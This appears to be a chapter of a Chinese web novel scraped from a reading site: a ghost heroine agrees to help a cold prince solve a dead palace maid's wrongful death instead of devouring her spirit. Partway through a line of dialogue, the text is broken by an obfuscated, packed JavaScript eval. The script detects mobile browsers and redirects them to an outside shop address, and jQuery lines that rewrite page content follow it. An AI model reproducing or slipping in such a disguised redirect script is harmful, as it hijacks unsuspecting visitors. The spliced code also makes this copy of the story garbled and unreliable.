枯槐下的极阴领域内，晏顷花了整整一夜加大半个白天的功夫，才勉强将那丝吸入体内的神力初步“驯服”。


    过程如同用最细的砂纸打磨灵魂，既痛苦又焦灼。那丝神力顽固地保持着自身的特性，不断散发出让她浑身不适的净化感，却又真实地让她的魂体核心更加凝练了一分。


    当夕阳的最后一丝余晖被夜幕吞噬，她睁开眼，感受着魂体内那点微末却坚实的力量，暴躁的心情总算稍微平复了一丁点。


    有用，但太慢！太折磨！


    她需要更多！更快！


    就在她琢磨着是继续跟这龟速汲取法较劲，还是再去“拜访”一下谢允知，用点“非常手段”逼问更高效的方法时，一阵极其细微的、断断续续的歌声，随着夜风飘了过来。


    那声音缥缈空灵，唱的是一首腔调古怪古老的童谣，词句含糊不清，却带着一种莫名的哀伤和……蛊惑力。


    歌声传来的方向，似乎是皇宫更深处，靠近那些不受宠的妃嫔或老宫人居住的偏僻院落。


    若是寻常宫人听了，只怕会觉得脊背发凉，以为是什么不干净的东西，远远躲开。


    但晏顷一听，那双漆黑的眸子瞬间就亮了！


    不是害怕，而是兴奋！


    这歌声里，夹杂着一种不算强大、但却极为精纯的怨念和不甘！对她而言，这就像是饿狼闻到了血腥味！


    比起谢允知玉佩里那让她难受又垂涎的神力，这种同属阴邪范畴的“食物”，显然更合她的胃口，也更易于吸收转化！


    几乎没有丝毫犹豫，她立刻化作一道黑烟，悄无声息地循着歌声飘去。


    穿过重重宫墙，越往深处，周围的院落越发显得破败冷清。最终，那歌声停留在了一处悬挂着“落梅苑”牌匾的宫院前。


    院门虚掩着，里面黑漆漆的，没有灯火，仿佛无人居住。但那哀怨的歌声正是从里面清晰地传出来的，带着回音，越发显得诡异。


    晏顷才不管什么规矩禁忌，直接穿透门扉，飘了进去。


    院内杂草丛生，弥漫着一股陈腐的气息。一个穿着破旧宫装、身形模糊半透明的女子身影，正背对着她，坐在井边，一下一下地梳着头，嘴里反复哼唱着那首古怪的童谣。


    这是一个地缚灵，而且看样子死了有些年头了，怨气精纯，但灵智似乎不太清醒，只是凭借本能重复着生前的执念。


    “啧，质量还行。”晏顷评估着，舔了舔嘴唇，眼中闪烁着捕食者的光芒。吞噬掉这个，应该能抵得上她慢吞吞吸收好几天的神力了！


    她张开手，五指成爪，浓郁的戾气开始汇聚，准备直接将这个地缚灵撕碎吞噬！


    “住手。”


    一个清冷平静的声音，突兀地在院门口响起。


    晏顷动作一顿，猛地回头，只见谢允知不知何时也跟了过来，正站在那破旧的院门口，月光洒在他月白色的常服上，仿佛披了一层银霜，更显得他面容冷峻，不似凡人。


    他怎么会跟来？晏顷眯起眼，心中警惕，但更多的是被打扰进食的不悦。


    “怎么？皇子殿下连这种无主野魂也要管？”她语带嘲讽，手上的动作却没停，戾气继续蔓延向那哼歌的女鬼。


    那女鬼似乎也感受到了威胁，歌声戛然而止，瑟瑟发抖地缩成一团，露出了半张惨白浮肿、依稀能看出生前清秀的脸。


    “她并非无主。”谢允知缓步走进院内，目光扫过那女鬼，语气依旧平淡，“她是十年前投井自尽的浣衣局宫女小怜，因生前有冤屈，魂魄滞留于此。她的案子，卷宗尚在宫内律事房。”


    他看向晏顷，眼神里带着一种不容置疑的冷静：“皇宫有皇宫的规矩。不清不楚地吞噬有案底记录的怨灵，会打乱某些平衡，也会引来不必要的注意。比如，‘晨晖司’。”


    最后三个字，他稍稍加重了语气。


    晏顷瞳孔微缩。虽然不知道这“晨晖司”具体是什么玩意儿，但听名字就知道是处理她这种“异常”的官方机构。她现在实力远未恢复，不想惹这种麻烦。


    但到嘴的鸭子飞了，让她极其不爽。


    “那又怎样？我吃了她，谁知道？”她嘴硬道，但周身的戾气却收敛了几分。


    “我知道。”谢允知看着她，仿佛在陈述一个最简单的事实，“而且，吞噬这种怨灵，于你并无太大益处，反而容易沾染上她生前的痴怨执念，杂驳不纯，有碍你汲取神力。”


    他顿了顿，抛出了新的诱饵：“你若需要补充力量，我们可以再做一笔交易。”


    又交易？


    晏顷怀疑地盯着他：“你又想让我帮你干什么脏活？”


    这冷脸皇子，算计得可真精！


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632477|188020||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    查明她真正的死因和冤屈，化解她的执念，让她自愿往生。”谢允知指向那瑟瑟发抖的女鬼，“此事牵扯一些宫内旧事，我亲自处理不便。对你而言，查明真相应该不难。作为报酬……”


    他目光扫过晏顷那因为强行驯服神力而依旧有些躁动不稳的魂体，“事成之后，我可以给你下一阶段汲取神力的法诀，效率至少提升三成。并且，额外给你一块能暂时掩盖你身上冥渊气息的敛息玉，只要你不主动暴露，寻常探查手段难以发现你。”


    提升三成效率？还能掩盖气息？


    晏顷心动了。


    比起吞噬这个怨灵带来的那点好处和潜在风险，显然是谢允知给出的报酬更划算，也更符合她长远的需求（尽快吸收神力，找谢允知报仇）。


    查明真相？呵，对她来说，搜魂索魄、窥探记忆才是老本行！比打架还在行！


    “成交！”她答应得干脆利落，甚至显得有些迫不及待，“怎么查？从哪开始？”


    她飘到那女鬼小怜面前，漆黑的眸子闪烁着诡异的光，吓得那女鬼几乎要散形。


    “她的记忆可能混乱残缺，需要引导。”谢允知从袖中取出一枚小小的、散发着安魂气息的玉珠，弹入女鬼体内，让她稍微稳定了一些。


    “重点查她投井前接触过什么人，受过什么委屈，是否有人暗示或逼迫她自尽。卷宗记录她是因偷窃主子首饰羞愧自尽，但其中疑点颇多。”


    他提供了一条清晰的线索：“她生前最后一段时间，曾在已故的端太妃宫中伺候过花草。可以从那里开始。”


    “端太妃？”晏顷记下这个名字，眼中闪过一丝嗜血的光芒，“好得很。我倒要看看，是哪个活腻了的家伙，弄出这么个玩意儿来耽误老娘时间。”


    她伸出手指，直接点向女鬼小怜的眉心，准备强行翻阅她的记忆碎片。


    谢允知在一旁静静看着，没有阻止。他知道这是最快的方法。


    月光下，破败的院落中，清冷皇子和疯批女鬼达成了一个诡异的合作协议，目标直指深宫中一段被尘封的冤屈。


    而他们都没注意到，在落梅苑最高的那棵枯树梢上，一片诡异的、仿佛眼睛形状的焦黑树叶，正无声地注视着下方的一切。


    直到晏顷开始翻阅记忆，那树叶才微微一颤，化作一小撮黑灰，悄然消散在夜风中。